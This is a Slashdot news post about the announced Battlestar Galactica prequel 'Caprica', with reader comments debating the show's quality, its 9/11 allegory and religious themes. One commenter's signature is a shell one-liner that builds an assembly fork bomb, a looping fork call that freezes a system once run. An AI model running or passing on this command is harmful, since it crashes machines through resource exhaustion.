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A Battlestar Galactica Prequel Series on the Way

Posted by Zonk on from the they-evolved-they-have-a-plan dept.

kumasame writes "The Sci Fi Channel has announced it will create a prequel to Battlestar Galactica, as the series enters its final season. The two-hour pilot for the production, called Caprica, is expected to be shot in Vancouver this spring with shooting for the series to follow. The first episodes are expected to air this fall. In a Q&A session held yesterday, the creators and stars of the show revealed a number of tidbits of information about the new show and last season of BSG."

10 of 221 comments (clear)

  1. That's a mistake by elrous0 · · Score: 4, Insightful

    The miniseries and first season of BSG was probably the best science fiction even made for television. But it has declined significantly in quality since then. I'm actually glad this is the last season of the show (since it allows them to give a definite conclusion to the series before it declines even more, and gives them a focus that they lacked in season 3). Making follow-up movies or series is a mistake, and it would only tarnish the name of a once-brilliant series.

    --
    SJW: Someone who has run out of real oppression, and has to fake it.
    1. Re:That's a mistake by fifedrum · · Score: 4, Insightful

      I want to respectfully disagree with the opinion that the series is in decline, but I can't, except to qualify it: decline of quality to any degree that matters. IMO, when we compare this series to any other on television, even the lowest quality episode is better than the best quality the rest of the dial has to offer. I believe the intensity of the plots and story lines ebbed and flowed and will peak in season 5 as a natural part of telling this story, and that this isn't taking away from the impact the series had in season 4, or as it moves into the last season. I agree that all episodes aren't created equal. I do definately get the impression they blew their wad in the mini-series and season 1... Even still, this is the first time I've ever watched a television show and literally sat on the edge of my seat fully captured by the story.

  2. One of the best series ever put on television by elrous0 · · Score: 4, Insightful
    It's funny, I expected to really hate it too. When I heard they were remaking Battlestar Galactica and casting Starbuck as a woman, my first thought was "Oh great, another cheeseball, politically-correct retread that pales in comparison to the original." Boy was I wrong. At first I wasn't even going to watch the miniseries, but at the last minute I decided to and it absolutely floored me. It was one of the most aggressively brilliant pieces of television I have ever seen, before or since.

    It was also the first serious attempt to deal with 9-11 that anyone had done up to that point, and it was absolutely gut-wrenching. The idea of tying the premise of a fairly cheesy 70's TV series into 9-11 now seems so obvious, yet who would have thought of it at the time? There is no way you could have made this remake at any other time, or gave it that kind of brutal impact. The shot of those nuclear explosions blanketing Caprica left me just stunned. And seeing that Raptor lifting off and leaving Helo behind was heartbreaking and inspiring at the same time.

    And, amazingly, it got even better in the first season.

    --
    SJW: Someone who has run out of real oppression, and has to fake it.
    1. Re:One of the best series ever put on television by clickclickdrone · · Score: 4, Insightful

      >Where's the 9-11 connection?
      Not so much 9-11 per-se. More the general 'war on terror'. You have an 'enemy' living amongst you at look like you but want to do you harm. Add in state sponsored torture, questions about what is acceptable in war versus peace time and so on. When thy spent some time living on New Caprica there was the issue of one person's terrorist is another's freedom fighter.

      --
      I want a list of atrocities done in your name - Recoil
    2. Re:One of the best series ever put on television by Hal_Porter · · Score: 4, Insightful

      Where's the 9-11 connection? I don't see it. Cylon suicide bombers because they have no fear of death due to their fanatical belief in an alien religion? Cylons making a dramatic surprise attack that causes a liberal democracy to become markedly less liberal and start torturing its opponents?

      Naah, you're right, no 9/11 references at all.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. Geeks Afraid of Religion by Colonel+Korn · · Score: 5, Insightful

    I think that a lot of the backlash against BSG in the last season was the product of the discomfort a lot of us geeks have toward religion being mixed into our scifi. I think that BSG's main mistake, if I can call it that, is being off the air for so long between seasons. It really breaks up the narrative flow and serves to make us effectively forget what the cliffhangars from the previous season were.

    --
    "I zero-index my hamsters" - Willtor (147206)
    1. Re:Geeks Afraid of Religion by tmalone · · Score: 4, Insightful

      I think you're partly right about that. I also think that having the humans become terrorists during the occupation made many people uncomfortable. I also think that the series of craptacular single-shot episodes in the middle of the third season made many fans leave the show. Some of those episodes (the factory ship episode comes to mind) were so inane as to be almost unwatchable.
      You're right that the huge gap between seasons is bad for business. People who aren't devout followers of the show are simply going to forget about it.

    2. Re:Geeks Afraid of Religion by Xeth · · Score: 5, Insightful

      Except that religion was a part of it straight through the Kobol arc in the first and second seasons (which was, IMHO, one of the best parts of the series,and many people agree). No, the problem was that they just did a bunch of one-off episodes with no real resolution or consequences. E.g. (Season 3 spoilers follow): The return of Bulldog and revelations about corruption and warmongering in the admiralty. That went nowhere. The killing of Sagittarons? Swept under the rug and forgotten. The unhappiness and emerging classism in the fleet? 10 second resolution at the end, and not a peep since.

      --
      If your theory is different from practice, then your theory is wrong.
    3. Re:Geeks Afraid of Religion by Xelios · · Score: 4, Insightful

      I think the bit about humans becoming terrorists was one of the best plot points of the 3rd season. It made you question this preconceived notion that terrorists are somehow inherently evil, that there's such a thing as "good people" and "bad people" and that "good people" would never do what those "bad people" are doing. The events on New Caprica wanted to show that "normal" people could resort to terrorism given the right conditions, and how acts of terrorism just don't seem quite as barbarous when it's your side that's being oppressed.

      Disclaimer for the DHS: I do not condone terrorism, thanks.

      --
      Murphey's fighting Occam, and we're in the stands.
    4. Re:Geeks Afraid of Religion by tmalone · · Score: 4, Insightful

      I agree that it was one of the best plot points. I think many people were a little put off by it though. This is especially true of people who saw Battlestar as an allegory for 9/11. This ruthless other (that turns out to be a bunch of religious fanatics) comes to wipe out "civilization" and now the humans are on the run. Then it turns out that when the going gets tough, some of the humans turn to terrorist acts. I can see that being a little upsetting to some people. In fact, I witnessed this in the reactions of some friends who were shocked at twist in the story.
      This is what makes the show so great: it doesn't pull any punches. The writers don't seem to care about destroying people's conceptions of who is good and who is bad.